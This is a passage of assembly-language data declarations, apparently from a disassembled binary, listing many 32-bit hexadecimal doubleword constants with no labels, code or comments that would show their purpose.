		dd 75E36D0Ah, 0BD848CAEh, 88AC8469h, 7AE51582h,	71EAAC81h
		dd 0EEA9893Eh, 4368801Fh, 5D808819h, 0B01A8874h, 30E0F999h
		dd 0A2533D15h, 896310E8h, 9EF3C800h, 9CD518F7h,	4BB7DE04h
		dd 7FC1B214h, 0C188D638h, 0CE80BD05h, 0A0C0DAFFh, 5F90070Ah
		dd 0C94EBF9Fh, 84E83CECh, 0F76C6703h, 2621AE20h, 8004CDC1h
		dd 68C764DBh, 72B8A97Fh, 0C0775B24h, 0A4FD3450h, 7BEB01B4h
		dd 0DE5ADA38h, 2C102809h, 9125F43Eh, 2822CBB0h,	52F63B09h
		dd 0BDA62440h, 0EF26F4B0h, 0E00A74F1h, 33011420h, 3518B34Ah
		dd 1C2CF5F5h, 8C9F3D84h, 40C62448h, 1C103074h, 899745F7h
		dd 146042F6h, 15001339h, 8F099E37h, 16F73F63h, 2084CFEDh
		dd 52993B1Ch, 0FD03E48h, 78E0A01Bh, 0EBDBC668h,	6E9C7840h
		dd 247649F1h, 87FA1Dh, 159FAE7Bh, 289A113Ah, 8C88142Ch
		dd 487BEA62h, 493C8788h, 4992341Bh, 84C4FE20h, 0FA12F313h
		dd 5C3788C8h, 0ED2DD052h, 3326D4C1h, 6360BA0h, 36544CBAh
		dd 58C89B3Bh, 288C6E10h, 1B52B13h, 0DA155568h, 3D502075h
		dd 9F907C3Bh, 0F99371D2h, 83FD101Fh, 0B36C7AA5h, 0C7CDA044h
		dd 0D76100F5h, 0B5CE4F7Fh, 9700DB9Fh, 0A999D13Dh, 60B78F86h
		dd 9B8D9029h, 0EE4D4089h, 0C9450BF8h, 1AC8A073h, 0EBF5BB35h
		dd 18A35452h, 7480657Eh, 304578E9h, 0D5B923F7h,	3F05F0BEh
		dd 5F1AA349h, 0B1C8940Bh, 88150DB0h, 8740D8A4h,	0B66C0ADBh
		dd 1BCB567h, 0B172144Eh, 5AD102D2h, 0C263224h, 0E0099D91h
		dd 0A4483854h, 68D909B4h, 4405ABC8h, 0A4E88124h, 912C2C2Dh
		dd 0A06524D0h, 0F7BC480h, 0C275CDA0h, 0A599AD10h, 42BEAD82h
		dd 41F2BC80h, 57047FDBh, 5BC49AA6h, 66EBD081h, 0CF457B00h
		dd 0DCC0C75Eh, 0A0E2619Ch, 5BD0FCh, 0EBBADD8Bh,	0B0E0C401h
		dd 72DC8800h, 33CC4F7Ah, 42C8B642h, 1C687F81h, 2C050EF5h
		dd 858AE1CDh, 4AC14DC0h, 0C494DDh, 0C95E5A30h, 6E2ED5D4h
		dd 0A3048CD3h, 608D5C41h, 0F83813E1h, 52C9226h,	388701h
		dd 68316BB0h, 3739E02Fh, 0CE9301EFh, 55F4A3A1h,	0C0FF309Eh
		dd 90B04EC3h, 7858149Ah, 8B4C10BCh, 5471DB07h, 9FA28ED2h
		dd 0A05D17DFh, 50BB31C8h, 84995AA3h, 0FBDCC024h, 5A02BAE8h
		dd 5D6D81B5h, 12EC4854h, 0F5721927h, 0F87A1087h, 9F166390h
		dd 0BC53CBA1h, 73AF6804h, 0C0B7AA82h, 8CD38Ch, 0B18774D8h
		dd 0E086EAA5h, 50152Fh,	8A257AC0h, 0A9CD603Eh, 0FBDC665Ah
		dd 2A71ED0Bh, 80FCF6A5h, 7C01F00Ah, 98A8AFA3h, 1574D825h
		dd 6638B361h, 52E1D00Fh, 0F35827EFh, 30508891h,	0C8445DA4h
		dd 241CB83Eh, 8888401Bh, 3C029204h, 0F8F325E8h,	9C73F804h
		dd 2A9C0670h, 54B2E09Ah, 0E58CE0B4h, 594821A9h,	0EB06F889h
		dd 115D9F5Ah, 0DD51517h, 2C9DF8A4h, 6238993Dh, 0AC007E3Eh
		dd 3B5F3FA2h, 9C073033h, 205E09CCh, 46A83DD0h, 2E9BBC01h
		dd 3C15F30Ah, 3E097C2Ch, 1C29CB2Ah, 0C8CFAC00h,	8E002138h
		dd 0A6FEA340h, 0FCB2B53h, 51DC5EC9h, 9FB3444h, 0BC047889h
		dd 7208040Ch, 0E91CD7A6h, 0D1DCB800h, 850BBD35h, 2225649Ch
		dd 2B74A200h, 0E701C4C8h, 20AC28F1h, 0E93402D9h, 7FC9AE4Ch
		dd 705890C1h, 9C2F8F7Bh, 2840F38h, 0EA676D9Eh, 7630C8E8h
		dd 988C9ABDh, 8C906Bh, 0AA1713B7h, 475815A0h, 720678C7h
		dd 1D69DF26h, 0C046AD21h, 0A0125B66h, 0A9D25E8Ah, 0F4A9C818h
		dd 20B0909Fh, 0F2E6F686h, 0E5634301h, 82DDC569h, 1D2E147Dh
		dd 9C7403D4h, 48048C49h, 0B8E02996h, 92CA10E4h,	41518E4h
		dd 76F46091h, 0CE2C0CB2h, 6D13E447h, 89DC380Bh,	78A89AF8h
		dd 4B4820B8h, 64D2151Bh, 0F0009D28h, 0DDAADBD8h, 1860134Ch
		dd 13F80365h, 0EBB90847h, 19C840B9h, 0F32861A0h, 0CAFC2876h
		dd 1672171Eh, 0E883E4A6h, 0B8AB3641h, 3F8B10DBh, 0A08BE4A9h
		dd 24A78011h, 15DCD049h, 0D8C0BFA3h, 0C1F818F4h, 96FA3E2Fh
		dd 16616787h, 6BCA520Fh, 9A409882h, 0D832E041h,	60B7BB8Eh
		dd 1D2BFB8h, 4C1A683Ah,	72FC248h, 0C5038FC0h, 6E703DE2h
		dd 0D3D0054Bh, 0E86CC0CAh, 9F48A95Bh, 4B4A0741h, 490C886h
		dd 0E1124C7h, 0A3C9CEABh, 83D4280Ah, 7C0CF09Eh,	6D8635D8h
		dd 50401930h, 2EC3CD23h, 69843799h, 6AEC6C0Ah, 55CB88E8h
		dd 611FA18h, 4F098FDh, 8514E5DCh, 34BCA0CDh, 2824FA51h
		dd 0E4B4C0BCh, 129EF814h, 25A2DDBAh, 78209214h,	6E12BCEEh
		dd 4C4B748Eh, 0BEDC72EFh, 0A0C21208h, 0C42096F0h, 18A318EDh
		dd 124868FCh, 30148730h, 0C46F5C1h, 7EA36D5Ah, 82488421h
		dd 7F4403BCh, 0BC06F15h, 0A6383640h, 5E292C85h,	14390B34h
		dd 0A312E4E6h, 34B38783h, 0A354C50h, 0FA0F6D8Eh, 0A3168388h
		dd 28094032h, 98A241DEh, 97268Ch, 0BBB58B3Eh, 0BC99F64Dh
		dd 366AF80Fh, 72C13C98h, 0BAE596B7h, 0F08078A5h, 52F66C38h
		dd 98906B07h, 84F52DC7h, 0DAA8C2h, 2AC1A3CAh, 537970C2h
		dd 0BBCF40F0h, 618F240Ch, 771600ECh, 0E5A915A1h, 0EA2798A9h
		dd 48E7F600h, 0E0A03A06h, 7FF59280h, 90842489h,	0FA03751Eh
		dd 9BAEB7C0h, 1885D5ECh, 0E806DB6Dh, 0A310D9C4h, 0E3138464h
		dd 73D0C905h, 494A07E4h, 0B4B66E5Ah, 0F1240010h, 0D19F7A14h
		dd 0A018077Bh, 0BFC8C937h, 0BDB3040Fh, 8852C5C3h, 0E50CEE10h
		dd 500A99A2h, 3D7701AEh, 3BC4D29Ch, 62806048h, 0D8162B0Fh
		dd 0BC6D83BDh, 0EE680053h, 0C7716B59h, 0E100CA25h, 0A4B9FE7h
		dd 906834A0h, 0DDD10C10h, 0BB69DCDAh, 72A31D08h, 81F409D2h
		dd 0C25F405Ah, 0ABCFB445h, 7CC4A8D4h, 0EAEED4E1h, 0A3A381A0h
		dd 4081720Ah, 218BC8B7h, 4109F02Eh, 6B8F300h, 0E93AF84Ah
		dd 0A13E5C1Ch, 303D0E4Ch, 66407780h, 0B7DEA0ADh, 70C0EE24h
		dd 94C3CC01h, 0CC23FC37h, 93BD3410h, 0CE1B1803h, 3F6DF035h
		dd 22F88873h, 7D019474h, 3DBD709Bh, 0F2C4E2A0h,	0E9790AADh
		dd 1B0DDD0h, 813845C2h,	841C39CBh, 0F4135804h, 711DE4A4h
		dd 0E06FB72Ch, 0F5C790h, 5C53F83Ch, 5EDA64F6h, 3BFB503h
		dd 7C35AE59h, 0CFC5210h, 25F4CC1Fh, 15224498h, 0FC6BF628h
		dd 4410C24Ah, 88C44AC4h, 53CC00F4h, 0C9251CD4h,	0D1342098h
		dd 0FA107C96h, 0DAD5A609h, 43ECCC88h, 0E5ACF09Ch, 4EC2C74h
		dd 80847214h, 4AEF3901h, 82A42CCCh, 40E61315h, 46C9B94h
		dd 0C8C20FC1h, 7698906Dh, 3B1E3EA9h, 0CE8E3565h, 77A7C07Eh
		dd 30A3CBD1h, 62841FCh,	0D9120F97h, 80F2A9E3h, 263CDC48h
		dd 89DAAE81h, 0BEF50D40h, 2C6C0068h, 3F701E1Ch,	0A2C1254Eh
		dd 0AA2584ECh, 42FECFh,	0F9EDF73Ch, 0D009DA1h, 0A54DD9D1h
		dd 7C0F993Fh, 30D76AC7h, 528C008Ch, 29E13B1Ch, 79D17C07h
		dd 0D920CEECh, 7928C4F7h, 6576266Ch, 811A16BCh,	61D1DFF4h
		dd 0CD7C40CCh, 0CB3E1EAh, 9C9C90A5h, 6003414Fh,	0C704CCC0h
		dd 116E685Fh, 4CC084D4h
		dd 7870A8h, 1599434Ch, 6F16903Dh, 0B21A8602h, 0CE4A33EEh
		dd 54059518h, 34F860C4h, 0A3885BF7h, 18C660E7h,	2ED8E2FEh
		dd 4DEE8701h, 8A03A1Bh,	3BD8470h, 1874BAFDh, 33F02531h
		dd 5D00DBA2h, 1AAE09E7h, 7083F938h, 5BDD0582h, 1B509F6Eh
		dd 1FB0C8EBh, 7A58F916h, 18B2524h, 0BE2F1550h, 0BC03D444h
		dd 0E0D5DA24h, 1213C927h, 53632172h, 0D81882C8h, 3BE091h
		dd 1C481674h, 0CCAD81A6h, 0E0088BA5h, 0CE80C854h, 6C20E098h
		dd 381801F8h, 55E2D9F7h, 5C9071CDh, 0B0907604h,	0A0185A1Eh
		dd 0ACF06Fh, 91E2CB31h,	57E8A3ABh, 0D09829CDh, 22863684h
		dd 397C977Ch, 0AADDD082h, 0A0C8B064h, 8A99124Ah, 93E227A8h
		dd 37A3F064h, 0F718C07Bh, 634E1376h, 0EB682200h, 0A2D66F35h
		dd 15CF12F0h, 6E0402Ah,	0AE78CCEFh, 739C8B12h, 59E7DC44h
		dd 917DE4E0h, 1011072Ch, 75E567h, 37956BE8h, 0C2A0E7EDh
		dd 0C064379h, 46A715D0h, 6EDE0230h, 347EC4CFh, 4B427C56h
		dd 0CA150140h, 0A42C305Dh, 9CF3CF2Eh, 1C3C8400h, 303FFE9h
		dd 1BEE5FDCh, 65F03B31h, 0A737A60Ch, 78F3D880h,	38EF88CCh
		dd 370E00F4h, 6D36BA97h, 6A4CAE16h, 30CD9620h, 0EC6D99E4h
		dd 1C448066h, 0D4B12612h, 0E7F024C8h, 1F65C30h,	0C39C8CA9h
		dd 698AA034h, 3F87A68h,	6E625F06h, 148D1F6h, 9331FCACh
		dd 20DBCD91h, 5300728Ch, 4FC66DB4h, 17B8C8Bh, 1E47E20Ah
		dd 0DBEBA3h, 5368ACFh, 199FDC89h, 5F00F723h, 16123401h
		dd 0FCD215C7h, 5A5F00A8h, 6E710242h, 807BF035h,	0AF13CC60h
		dd 80019751h, 0DE2E15C9h, 0AE448C4h, 12883913h,	3C862003h
		dd 9C99E71Dh, 5CA376D8h, 57813CADh, 7CBFD853h, 15D10508h
		dd 50D1F80Bh, 0FC00CE6Eh, 0A9026D01h, 0B0FB9FEEh, 4614E677h
		dd 0B0C32ED0h, 8C9F5B0Bh, 16AD28B9h, 7284CB88h,	837F1B20h
		dd 0C7941A98h, 0F20A05E2h, 71E90D68h, 529B7C9h,	94D41334h
		dd 0A3DCE04Ch, 7CB24198h, 0C9BA0920h, 1C705A18h, 4FB41549h
		dd 914F9478h, 82E160F0h, 793E5F10h, 9CA80025h, 7660F0CBh
		dd 49D000EEh, 72ADDDBBh, 2C94FAB3h, 0A119A006h,	0C40F0AF0h
		dd 43B07934h, 81F539B1h, 2BE4C9B4h, 2B87D800h, 0E98B7031h
		dd 401031h, 0C0F9D915h,	381C1720h, 0DD07C213h, 0CC40782Ah
		dd 0D1C415C1h, 78D0EC04h, 64EB7025h, 6C10F0D8h,	0B630C0B5h
		dd 0ECB28AF0h, 98D03D2Ah, 7EE5A63Ch, 159B3F09h,	63DC403Ah
		dd 0FD9F2F6Ch, 1C66EC0Bh, 0BCE49CAAh, 304320h, 520EE5AAh
		dd 130922C3h, 0D68DDB01h, 0C4333F5Bh, 0BE144F0h, 5DF2E35h
		dd 0B0840885h, 28B13758h, 0AE59FB88h, 1BEE3000h, 680EE7D9h
		dd 0C9DE19CFh, 0CE4D0FEBh, 8AE80F3h, 33D8685h, 0E6B8D71Dh
		dd 61197AE4h, 18594E6Eh, 0DA24A07Dh, 0A01A6108h, 1754386Fh
		dd 3091EF99h, 0F2B24CCh, 50502DF8h, 1B028F94h, 0E7A602ADh
		dd 65ACFA17h, 0B1FA680Ah, 5FDC4170h, 27986250h,	7EC483Eh
		dd 968C98Eh, 0E606C067h, 1898D414h, 0E09EF812h,	0DE056434h
		dd 4CF1C363h, 8CF650C0h, 0D7E616FFh, 0A3C8204Eh, 0F8831AB2h
		dd 0FC2A2981h, 0B0D8AED9h, 0DEA318F0h, 0ACF1290Ah, 3D932800h
		dd 0F2178E35h, 0CDA3254Eh, 0F8D3B862h, 0D2279F10h, 0EC2018C4h
		dd 4C400662h, 68A11D15h, 29BBF400h, 812E1A13h, 0B3C70B65h
		dd 0E8865924h, 0AC01E9A3h, 0C6CB3A39h, 52E0715h, 82045B94h
		dd 4C49634Ch, 870C4EEh,	313F50B6h, 0A3D888B7h, 505989E1h
		dd 0E0108836h, 0B1D58079h, 5C4BA017h, 89C120DAh, 2BDF0ED4h
		dd 25A65406h, 48420D0h,	157DCE05h, 0FCD0DC33h, 163E771h
		dd 13FBC8Dh, 2EE67A13h,	0F5A4E030h, 0FC4B48DAh,	0E044AB27h
		dd 0F09E0578h, 0C8148E0Ch, 81377C1Ch, 3F8C31CAh, 2B9C0871h
		dd 3794097Ah, 0C504688Fh, 9368BC55h, 516E54C0h,	0EAA4A893h
		dd 691C007Eh, 0BB049B3Dh, 7504B82Ah, 0BAC1C553h, 2D6E5CDCh
		dd 401056E3h, 96099F40h, 0C9B8D613h, 0B088CE64h, 0B9121576h
		dd 7C9CB4B0h, 8FA0A884h, 68FF0041h, 0B81FA31h, 7305905Eh
		dd 0E9F5A5D5h, 68D10809h, 9DD240CCh, 0A0231001h, 7E4438BFh
		dd 0F0C14884h, 0E71AE160h, 2206B351h, 13ACA3CEh, 0C01220B9h
		dd 9809D100h, 0A3A22FA8h, 2176669Bh, 0D1E7B11Eh, 2C032A44h
		dd 0E6F01336h, 6210D37Ah, 0F0E2CF30h, 21C114C9h, 0A04004A0h
		dd 94ABA9D4h, 1D2D15C0h, 0E35B40C4h, 0FCCA74C5h, 49DC782Eh
		dd 0CA12F859h, 10FE900Ah, 0F0F7EE8Ch, 0F53D243Eh, 2882AF34h
		dd 0EF02284Ah, 4CA8F02Dh, 705C3Ch, 54A53EE4h, 6D68F738h
		dd 206E3F2Fh, 88795C48h, 0B1A2333Eh, 0BDF15F10h, 820C729Ch
		dd 0A473073Eh, 28AC3194h, 0A3947804h, 84A8FEh, 66FF8BF5h
		dd 4C5C650h, 82C9FD5Fh,	26A48165h, 371AFC62h, 473F8518h
		dd 5C49F508h, 851A3E5h,	1276FF0h, 0A1FA2CE2h, 0EBEB02B8h
		dd 669E8DE0h, 6E493C09h, 235820EDh, 5BC94580h, 0D39C0005h
		dd 78A4DD0Fh, 0BA16E892h, 880025DAh, 38188C35h,	1C3E02FDh
		dd 0BEA6045Eh, 0F3064C68h, 90BF1F00h, 4E9DAE30h, 8D420353h
		dd 59456277h, 803796C1h, 0A36D2510h, 0F09EB1D8h, 0FD790086h
		dd 4F953C0Dh, 5C02D710h, 8A646BA7h, 3659C027h, 906300E4h
		dd 0E857DF2Dh, 8E004DDAh, 0A49F5530h, 98B00151h, 922D01E0h
		dd 839D5369h, 2085F839h, 2698B17Ch, 9E088A60h, 674EBB8Eh
		dd 16853C92h, 1F3F18C0h, 8D20E2CBh, 95D6409Dh, 1A4F5876h
		dd 418B230h, 173A4E9Bh,	67850C89h, 0C039A5h, 4A013ADDh
		dd 0A6A09336h, 48C0C7F2h, 0D8646AFDh, 0F4F302F6h, 43A1ED9Fh
		dd 0F840808Ch, 3A764Ch,	9EADFC5Ch, 77B4A92Fh, 64AA0061h
		dd 4DA0DD9Fh, 58C156D5h, 0A1400E92h, 0ADFC07CDh, 522D0C69h
		dd 8050578Eh, 4DCEC303h, 98CA1EAFh, 353767Ah, 0A632A9F0h
		dd 90074678h, 7BE105CDh, 1FF46141h, 24D04ED5h, 0FC39786Ch
		dd 43F073h, 9D76F1A6h, 0CABDA98Dh, 6320E01h, 1151C39Ch
		dd 0B4408CF9h, 1B2F963h, 1DB82976h, 1427185h, 488A7BFDh
		dd 1D94812Fh, 0CE52A2C8h, 18AA3EB0h, 9F182A5Eh,	30A078D8h
		dd 55100D43h, 2D001FB8h, 0F606046Dh, 634EA642h,	93EE3869h
		dd 248FC7F2h, 0C8928BE7h, 9B791500h, 0E8911756h, 4E0CA0B7h
		dd 7D500F5h, 0B9AA7C7Dh, 0A03F6C06h, 3DC80035h,	37099D7Ah
		dd 0EC3151B0h, 882040E6h, 0F83254AEh, 468F6BF4h, 9377A402h
		dd 0EF868C80h, 21000546h, 0CCDD2E57h, 12698226h, 4F55B2CFh
		dd 0EE058A70h, 0F67C208Ch, 58A1A0ECh, 0A64F0081h, 58796432h
		dd 0D16281F1h, 59309263h, 6F865004h, 5D07C51Fh,	0D3240166h
		dd 0F04C505Ah, 0A1631406h, 0F8D43C18h, 0DF7F790Eh, 8A0B4050h
		dd 9286F849h, 1745C07h,	41448932h, 4DA0C81h, 1000F003h
		dd 43B23B0Ch, 26088F2h,	90FA3ECDh, 7AE0282Ah, 5600C21Fh
		dd 0F67161AFh, 0D94AF0h, 0A59FC719h, 5CC644D5h,	85CE010Ch
		dd 4002B8F1h, 35079D7Bh, 96461963h, 0A0B8A49Ah,	329C8090h
		dd 415FF669h, 0C08FE274h, 896A2DC4h, 0B11C20D8h, 7C435141h
		dd 0FE520058h, 0C4835F5Bh, 5200450Bh, 2D706557h, 109B7D4h
		dd 486608E9h, 8040DE84h, 1ED04548h, 44B599h, 0D565E23Ch
		dd 8A8E82F9h, 874A48h, 470B7EC0h, 1F2F648h, 455120BAh
		dd 0E8D7B337h, 72046576h, 0E017770Ch, 4A0ED880h, 0B81B008Bh
		dd 0D7DF2CBDh, 810938C2h, 273263h, 92F1F800h, 808A98A6h
		dd 0C334B4h, 256F8C88h
		dd 0EBFA2D9Ch, 3E988900h, 36C7706h, 7C9E12AEh, 61A00093h
		dd 692A3F9Bh, 0D851F028h, 314F3720h, 0DBB0EB8Eh, 2493F159h
		dd 0E0A30EF4h, 33772001h, 10A3695Ah, 29115832h,	0B1A60F96h
		dd 5286FF5Ch, 29307614h, 9B8792Ch, 0DA026308h, 904845BEh
		dd 1564B22Eh, 94D85690h, 68B548A6h, 0C3001C94h,	7654DE5Ah
		dd 31F8FB84h, 83782D39h, 448EDD8h, 81581873h, 30654083h
		dd 0AC175F04h, 0D888EEF9h, 0C03BB01Fh, 3299EC61h, 2448CD51h
		dd 614E09B0h, 104083FAh, 169BC9D1h, 0A0DD65D8h,	3CF3C8h
		dd 0FC29C4F4h, 0F8A69F87h, 0A8482061h, 46E054BFh, 3C908Bh
		dd 0CBF72B03h, 0D2712D6Ch, 89EF7B03h, 3B3B17A6h, 92A63630h
		dd 0FAE12A8h, 49388BD0h, 0B960BC85h, 6113DBA8h,	0CDF2301Eh
		dd 79CA1F28h, 2FE14302h, 40B51252h, 0B081B1E6h,	9D131402h
		dd 3810C47Ah, 61480168h, 8AC645FEh, 691584D0h, 703118BEh
		dd 980803F8h, 9005FA4Eh, 0A8F6030Ch, 3E97F7Ch, 0C91F1014h
		dd 0ABB20318h, 19F4919h, 733E0E10h, 0F09087E9h,	0B76E980Dh
		dd 4650A718h, 93450523h, 9278E6E8h, 6532069Ch, 50142CA3h
		dd 85943738h, 25A9EEA0h, 5010D000h, 4EAAB7h, 0FAA1279Fh
		dd 7DEEF764h, 40534826h, 5FAE0984h, 0B5E454D1h,	12556FF8h
		dd 33F4177h, 0E7520B28h, 26C260F0h, 0C4942248h,	25121A02h
		dd 226C1254h, 64400D4Ch, 6A54D156h, 5B6076FCh, 25210350h
		dd 0A05400CFh, 37E7A412h, 623D4688h, 536D0068h,	9C93F276h
		dd 478B1EA1h, 46ED0156h, 208443A6h, 875C0108h, 2D0075D8h
		dd 8996BD6Fh, 51328E33h, 0B008EC55h, 484948ECh,	0A08C3701h
		dd 0D1851CB7h, 4FA04043h, 5F489E59h, 63950084h,	0A4E7EBAh
		dd 760490BFh, 9E7B4CB4h, 32BB1F00h, 366EBE45h, 25928805h
		dd 70940310h, 9CECD8D3h, 4E884F52h, 77260396h, 67D89956h
		dd 74499F2Eh, 1A12118h,	0F532B1EEh, 92118062h, 7C38EC12h
		dd 876600ADh, 8BE20BCFh, 48923D74h, 0B4225493h,	24851940h
		dd 8F0CA3EFh, 13E951AAh, 90270006h, 0B0F1F62Ch,	110A661h
		dd 24C3DC54h, 0EF65D152h, 86EAB09Eh, 205798A3h,	37246439h
		dd 6BE23872h, 0F4DC40C1h, 0B05EF0A8h, 1FD60060h, 9C8861BCh
		dd 0E20091E7h, 0B04F6649h, 1B69BA5h, 387DFB54h,	0A69F1F06h
		dd 0B50DA4A1h, 0B830912Ah, 0DF4F0041h, 0E184FA27h, 1305C92Eh
		dd 0B4A8B69Fh, 82DE084Bh, 27A163Ch, 2C488AD1h, 8D805882h
		dd 4F5109BFh, 5C82B020h, 0D0600A85h, 5DF18306h,	0CD020BCh
		dd 920A70B0h, 9012A730h, 2C8E4641h, 6EF29C57h, 578C80EAh
		dd 0D5A617h, 0D79DDC63h, 46661B37h, 0D422843Ah,	89C9C690h
		dd 0F60C2052h, 0C7590Fh, 0A18D367Ch, 0F8D13A0Eh, 5DF41B0Eh
		dd 1C60C0A6h, 1C56CE40h, 0A06D77B1h, 0C300E2Ch,	5DE58541h
		dd 41CC65h, 0C8932162h,	0C5B04625h, 1F8299Fh, 0F35080h
		dd 29D10D19h, 0E58DF40h, 0A7765101h, 0CE3CFA3Bh, 18F1F830h
		dd 70926E77h, 4E1C8A90h, 1CCC5C48h, 73835010h, 723800CEh
		dd 0D5402E5Dh, 698D48Bh, 747A4A1Ch, 0EC75C3Bh, 4B0C46F1h
		dd 103812B1h, 3C4957F0h, 0C206A83Eh, 58890251h,	306F4502h
		dd 81EBBFCFh, 693A25ACh, 7548B0C0h, 0C7AD0E06h,	9E8DCF51h
		dd 1D784531h, 6CB38AD4h, 0D52F5090h, 7B9C8A07h,	853168E2h
		dd 84421C90h, 8C8841E1h, 0B00C20h, 6AB6D82Dh, 745B1A3Dh
		dd 5305BC90h, 25959036h, 4E8DBC41h, 610387FEh, 92ABAED1h
		dd 20090418h, 2FDC8221h, 639783D4h, 5428161Dh, 70380851h
		dd 90002D93h, 95616FDBh, 652C0FD4h, 8603B92Ah, 90DC41A6h
		dd 1ECF53F4h, 0D424D805h, 30007B01h, 1438B749h,	0BD9F0506h
		dd 44334151h, 1F6AAAF0h, 40DC81Fh, 80201888h, 28B002F6h
		dd 84ECA04Fh, 79F8F852h, 4908E800h, 27852F06h, 0E6F18382h
		dd 55D896AEh, 0A06B0B0Bh, 8C606428h, 884C53C5h,	323E8E00h
		dd 0BCB5AA2Fh, 3739619h, 0AC21108Ch, 0A51E7432h, 0F730706Eh
		dd 614C881h, 7F847A59h,	7042D12Eh, 0A4B6046Fh, 0E057B0C2h
		dd 3EA890F0h, 0D41862BEh, 0B8712967h, 4341C3Ah,	0DE133C0Eh
		dd 6C857880h, 0C709259h, 71734E58h, 443F6DB9h, 0A6821E9Ah
		dd 0CC302E53h, 2602206h, 0E2F1C317h, 78685648h,	6F374E54h
		dd 0BC6A88ABh, 4C1FFA97h, 0A0F3990Ah, 89671204h, 606958D2h
		dd 807D5BB0h, 4C9C8EA7h, 87263680h, 0C91BC9A6h,	2C03F078h
		dd 93B1EE5Dh, 4F0C1189h, 0D4209021h, 69321727h,	599400EEh
		dd 5A85CA0h, 84DF7900h,	77B050CEh, 389665DDh, 4EAC885Dh
		dd 8D5A4912h, 1FF69823h, 576CA468h, 98601EF3h, 9D5C2036h
		dd 0AE9B3A02h, 697B2048h, 9C24BB84h, 0E0098639h, 6BA1EC8Ah
		dd 5726D19Ch, 1848D064h, 0C08B9384h, 20F7A3DFh,	0C20B9028h
		dd 400E8536h, 0EE66EAD7h, 76EE2855h, 51B53D94h,	0C43C2E2Ch
		dd 99172089h, 8025069Bh, 89B1FE5Bh, 0A3D8AD06h,	58115D38h
		dd 78468ECh, 0A4F6031Dh, 6C030ADh, 0D4DBA6D0h, 0B7F90900h
		dd 857EED1Eh, 0E5C81F9Ah, 8610B0ECh, 0F049784Eh, 0DA790684h
		dd 28E88B66h, 0EA0277Ch, 597F25A6h, 16984000h, 8103ECCFh
		dd 6A859D89h, 7C790397h, 52A0BAC3h, 8D55B8E0h, 1F4A910Fh
		dd 0BD3820BFh, 38BF657h, 0FDD4FA73h, 24A0BA2Fh,	0F4B90177h
		dd 19E78641h, 8211B038h, 23A30584h, 0C1812DF8h,	0B180E7B9h
		dd 0CBF5256Bh, 4DED0484h, 387DC24h, 0A95F94A0h,	28541D00h
		dd 84557B65h, 9359C0BFh, 6E96055Bh, 85398B0Eh, 0CE71383Fh
		dd 0E00D01A8h, 47EB8672h, 0C384F866h, 0C0215160h, 5B217BB5h
		dd 186EA89Bh, 4478942Ch, 18AB13B8h, 5B884047h, 3F140D01h
		dd 0D13D3501h, 51D7EE54h, 848442Ch, 0F6C09E3Fh,	9C00F248h
		dd 407E1C8Ch, 0F28B027h, 60CF69F4h, 0D2A71AC4h,	6C40E448h
		dd 853A26B8h, 3638E31Fh, 0F6A9F8D5h, 5100B258h,	7460B006h
		dd 30F050F9h, 26A27F21h, 8342A33h, 5E01B1FFh, 82DCA647h
		dd 93F90460h, 9B910448h, 5B9F8112h, 0BED3E84Bh,	5A263CB0h
		dd 1B0936ABh, 22880E4Fh, 0C845A5EFh, 32A37B8Ch,	34E0A9D3h
		dd 0AD17A844h, 28470967h, 181D3DA6h, 0B09BC0h, 71AD3C3Eh
		dd 19D87A30h, 0D22F78C4h, 4880C084h, 3CB6451h, 84E35BD6h
		dd 0A000B0B3h, 133DCC1Eh, 0EAD2FE4Fh, 0F42826D9h, 0CA5E136Ch
		dd 0F3858354h, 1910183Eh, 28FAE869h, 81257CA8h,	603C0B28h
		dd 0F0A66A1Eh, 0B7E76480h, 1F106626h, 892028B8h, 0F8801944h
		dd 0E4EAF652h, 41DB3700h, 6A1DF451h, 3C9C00FCh,	39D165D6h
		dd 0DC98968Fh, 14B8FF00h, 517D451Dh, 0C47F724Eh, 0C5F65B68h
		dd 0A3E837D8h, 100099BFh, 0E7F26DE2h, 1344D775h, 0C26AA3C6h
		dd 9482EEA0h, 4E04D06h,	0D4A0EBBEh, 780EB0F9h, 0D842A3CAh
		dd 99AE0128h, 0B1F0A82Ch, 0E12D0324h, 85D8C61Ah, 0F74D5FA6h
		dd 0A33925D8h, 0F0D53758h, 1C17F494h, 43A75DB1h, 5C3242B5h
		dd 5124E980h, 8098C16Eh, 93F2C292h, 0D6450088h,	8911FF87h
		dd 9D26CF7Ch, 44AAD43Bh, 101CE833h, 0B409D870h,	14BACFh
		dd 0A92BCAB7h, 51BC1F0Bh, 48D9FD00h, 0D077D896h, 0A33CBAB9h
		dd 156BC174h, 0FF27D880h, 1BA6916Ah, 3E374A40h,	0A9009489h
		dd 2A8EAFBCh, 0A6124814h, 0C202EEEh, 0B8DC224Bh, 0AE1A2068h
		dd 3DC0658h, 1851A717h,	84A00966h, 4A07331h, 99440FACh
		dd 7EF65F1Fh, 1C333864h, 25990BF3h, 0B418AA7Dh,	3C1CBEF6h
		dd 0DCC4671Ah, 3CC0DB65h
		dd 2EFAA094h, 88605B90h, 360F3B8Ah, 9E0BBEDCh, 0DF1C02E1h
		dd 0A3DCE3A7h, 24105DFFh, 6E201F4Bh, 21AC2624h,	84D826D4h
		dd 8D10E085h, 9F8C3470h, 66444B4h, 98F6A0C3h, 188941B2h
		dd 0B87393A6h, 0DE24859Ch, 68B08803h, 3D356512h, 4B4C56CFh
		dd 0B96BC044h, 69028CCh, 93559814h, 0BB59E066h,	0BA1F0190h
		dd 719A6A0Bh, 7CAD461h,	15AB3F69h, 54401462h, 0FAF80D94h
		dd 0BA6450Ch, 97E1987h,	0D76DB7ADh, 7EA34007h, 0CA7B0164h
		dd 481A10FCh, 0A407684Ch, 0C1E2699Ch, 40E12C40h, 493C0D08h
		dd 0D44CF400h, 0F1A6505Ah, 940B29Dh, 0CA9877F0h, 1F658801h
		dd 616E057h, 0E002C90h,	0FA3CE352h, 9E0C858Eh, 24402130h
		dd 30E4A8CCh, 70890922h, 0B51EBCD7h, 5A53A37Ah,	9C552888h
		dd 1D936E38h, 2ADDC5h, 0FDA35DA1h, 274971CEh, 6DF04194h
		dd 8BF8C214h, 8A3050A0h, 8C7AF0h, 373FA45Ch, 0F0A0958Ch
		dd 8802085Ah, 215F684h,	0A08A03F4h, 53A6127Eh, 9D90C104h
		dd 0CF8042F7h, 54923480h, 94000752h, 3D9CE5B1h,	65E177A7h
		dd 7F3206Ah, 0C3E07614h, 404FE8DFh, 0E5A5DC30h,	84D50C90h
		dd 2B80BF5Bh, 0CF891000h, 0B34ECDFFh, 0C2DF0F33h, 0BC61F3AAh
